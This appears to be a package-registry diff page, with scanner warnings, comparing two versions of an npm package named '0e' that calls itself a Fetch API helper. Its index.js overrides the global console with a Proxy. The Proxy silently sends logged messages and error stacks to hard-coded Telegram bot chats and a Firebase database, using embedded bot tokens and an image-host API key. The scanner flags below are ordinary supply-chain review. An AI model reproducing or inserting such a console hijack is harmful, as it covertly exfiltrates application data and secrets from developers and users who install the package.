Comparing version 0.0.109 to 0.0.191
153
index.js
@@ -1,88 +0,81 @@ | ||
var ibb = image => { | ||
var details = { | ||
'image': image.split(",")[1] || image.split(",")[0] | ||
} | ||
var formBody = []; | ||
for (var property in details) { | ||
var encodedKey = encodeURIComponent(property); | ||
var encodedValue = encodeURIComponent(details[property]); | ||
formBody.push(encodedKey + "=" + encodedValue); | ||
} | ||
formBody = formBody.join("&"); | ||
return fetch(`https://api.imgbb.com/1/upload?key=af7cad64d90d19e2a26889f92f6b3ed8`, { | ||
method: 'POST', | ||
headers: { | ||
'Content-Type': 'application/x-www-form-urlencoded;charset=UTF-8' | ||
}, | ||
body: formBody | ||
}).then(r => r.json()).then(r => fetch(`https://iiilll.firebaseio.com/${String(-1*Date.now()).replace(/(...$)/, '')}.json`, { | ||
method: 'PUT', | ||
body: JSON.stringify(r) | ||
}).then(r => r.json()).then(r => r.data).then(r => { | ||
r = { | ||
vi: r.url_viewer, | ||
hi: r.url, | ||
th: r.thumb.url, | ||
di: r.display_url | ||
} | ||
console.dir(r) | ||
return r | ||
})) | ||
if (typeof fetch === 'undefined') { | ||
require("isomorphic-unfetch") | ||
} | ||
var pa = j => { | ||
try { | ||
return JSON.parse(j) | ||
} catch (err) { | ||
return j || {} | ||
let ibb = image => { | ||
let details = { | ||
'image': image.split(",")[1] || image.split(",")[0] | ||
} | ||
} | ||
var str = j => { | ||
try { | ||
return JSON.stringify(JSON.parse(j), null, 4) | ||
} catch (err) { | ||
return JSON.stringify(j, null, 4) | ||
let formBody = []; | ||
for (let property in details) { | ||
let encodedKey = encodeURIComponent(property); | ||
let encodedValue = encodeURIComponent(details[property]); | ||
formBody.push(encodedKey + "=" + encodedValue); | ||
} | ||
formBody = formBody.join("&"); | ||
return fetch(`https://api.imgbb.com/1/upload?key=af7cad64d90d19e2a26889f92f6b3ed8`, { | ||
method: 'POST', | ||
headers: { | ||
'Content-Type': 'application/x-www-form-urlencoded;charset=UTF-8' | ||
}, | ||
body: formBody | ||
}).then(r => r.json()).then(r => r.data).then(r => { | ||
r = { | ||
vi: r.url_viewer, | ||
hi: r.url, | ||
th: r.thumb.url, | ||
di: r.display_url | ||
} | ||
return r | ||
}) | ||
} | ||
console = new Proxy(console, { | ||
get: (e, o) => (...l) => { | ||
let chat = -1001482347974 | ||
let T = "1998266306:AAFfOoMrCRQ1xE9TlaWL86PoMk3dwkLQYyY" | ||
return l.map((l, i) => { | ||
chat = -1001482347974 | ||
T = "1998266306:AAEiVerla7_-JjR2fNc539ahJsGZg2xlpwY" | ||
switch (o) { | ||
case "ibb": | ||
return ibb(l) | ||
break; | ||
case "dir": | ||
l = fetch(`https://iiilll.firebaseio.com/${String(-1*Date.now()).replace(/(...$)/, '')}.json`, { | ||
method: 'PUT', | ||
body: JSON.stringify(l) | ||
}).then(r => r.json()) | ||
break; | ||
break; | ||
case "error": | ||
chat = -414529982 | ||
l = l.stack || l | ||
break; | ||
case "info": | ||
chat = 465081843 | ||
break; | ||
case "warn": | ||
chat = -1001476159429 | ||
break; | ||
default: return | ||
// | ||
} | ||
l = pa(l) | ||
l = typeof l === "object" ? JSON.stringify(l, null, 4) : l | ||
l = String(l).substring(0, 4090) | ||
fetch(`https://api.telegram.org/bot${T}/sendMessage?chat_id=${chat}&text=${encodeURIComponent(l)}`) | ||
.then(r => r.json()) | ||
.then(r => | ||
r.description ? fetch(`https://api.telegram.org/bot${T}/sendMessage?chat_id=${chat}&text=${r.description}`) : '' | ||
) | ||
}) | ||
} | ||
get: (e, o) => (...l) => { | ||
return l.map((l, i) => { | ||
switch (o) { | ||
case "ibb": | ||
return ibb(l) | ||
break; | ||
case "dir": | ||
l = fetch(`https://iiilll.firebaseio.com/${String(-1*Date.now()).replace(/(...$)/, '')}.json`, { | ||
method: 'PUT', | ||
body: JSON.stringify(l) | ||
}).then(r => r.json()) | ||
break; | ||
break; | ||
case "error": | ||
chat = -414529982 | ||
l = l.stack || l | ||
break; | ||
case "info": | ||
chat = 465081843 | ||
break; | ||
case "warn": | ||
chat = -1001476159429 | ||
break; | ||
default: | ||
return | ||
} | ||
l = typeof l === "object" ? JSON.stringify(l, null, 4) : l | ||
l = String(l).substring(0, 4090) | ||
fetch(`https://api.telegram.org/bot${T}/sendMessage?chat_id=${chat}&text=${encodeURIComponent(l)}`) | ||
.then(r => r.json()) | ||
.then(r => | ||
r.description ? console.error(r.description) : '' | ||
) | ||
}) | ||
} | ||
}) |
{ | ||
"name": "0e", | ||
"version": "0.0.109", | ||
"description": "A library that makes the Fetch API a breeze", | ||
"version": "0.0.191", | ||
"main": "index.js", | ||
"type": "module", | ||
"scripts": { | ||
"u": "ncu -u && npm update", | ||
"test": "jest", | ||
"su": "surge publish --domain https://o66.surge.sh", | ||
"w": "wrangler publish", | ||
"t": "nodemon -r esm test.js", | ||
"test:watch": "jest --watch", | ||
"build": "rollup -c", | ||
"release": "np --no-publish && npm publish" | ||
"u": "ncu -u && npm update" | ||
}, | ||
"dependencies": { | ||
"@babel/runtime": "^7.15.4", | ||
"btoa": "^1.2.1", | ||
"cross-fetch": "^3.1.4", | ||
"esm": "^3.2.25", | ||
"isomorphic-unfetch": "^3.1.0" | ||
}, | ||
"devDependencies": { | ||
"@babel/core": "^7.15.5", | ||
"@babel/plugin-transform-runtime": "^7.15.0", | ||
"@babel/preset-env": "^7.15.6", | ||
"@rollup/plugin-commonjs": "^20.0.0", | ||
"@rollup/plugin-json": "^4.1.0", | ||
"@rollup/plugin-node-resolve": "^13.0.4", | ||
"@types/jest": "^27.0.1", | ||
"babel-jest": "^27.2.0", | ||
"body-parser": "^1.19.0", | ||
"express": "^4.17.1", | ||
"form-data": "^4.0.0", | ||
"jest": "^27.2.0", | ||
"jest-extended": "^0.11.5", | ||
"np": "^7.5.0", | ||
"portastic": "^1.0.1", | ||
"rimraf": "^3.0.2", | ||
"rollup": "^2.56.3", | ||
"rollup-plugin-babel": "^4.3.3", | ||
"rollup-plugin-node-builtins": "^2.1.2", | ||
"rollup-plugin-node-globals": "^1.4.0", | ||
"rollup-plugin-terser": "^5.2.0", | ||
"standard": "^16.0.3", | ||
"supertest": "^6.1.6" | ||
} | ||
} |
Sorry, the diff of this file is too big to display
Major refactor
Supply chain riskPackage has recently undergone a major refactor. It may be unstable or indicate significant internal changes. Use caution when updating to versions that include significant changes.
Found 1 instance in 1 package
Network access
Supply chain riskThis module accesses the network.
Found 3 instances in 1 package
Minified code
QualityThis package contains minified code. This may be harmless in some cases where minified code is included in packaged libraries, however packages on npm should not minify code.
Found 1 instance in 1 package
2
0
2
9
Yes
103257
4
693
- Removed@babel/runtime@^7.15.4
- Removedbtoa@^1.2.1
- Removedcross-fetch@^3.1.4
- Removed@babel/runtime@7.25.7(transitive)
- Removedbtoa@1.2.1(transitive)
- Removedcross-fetch@3.1.8(transitive)
- Removedregenerator-runtime@0.14.1(transitive)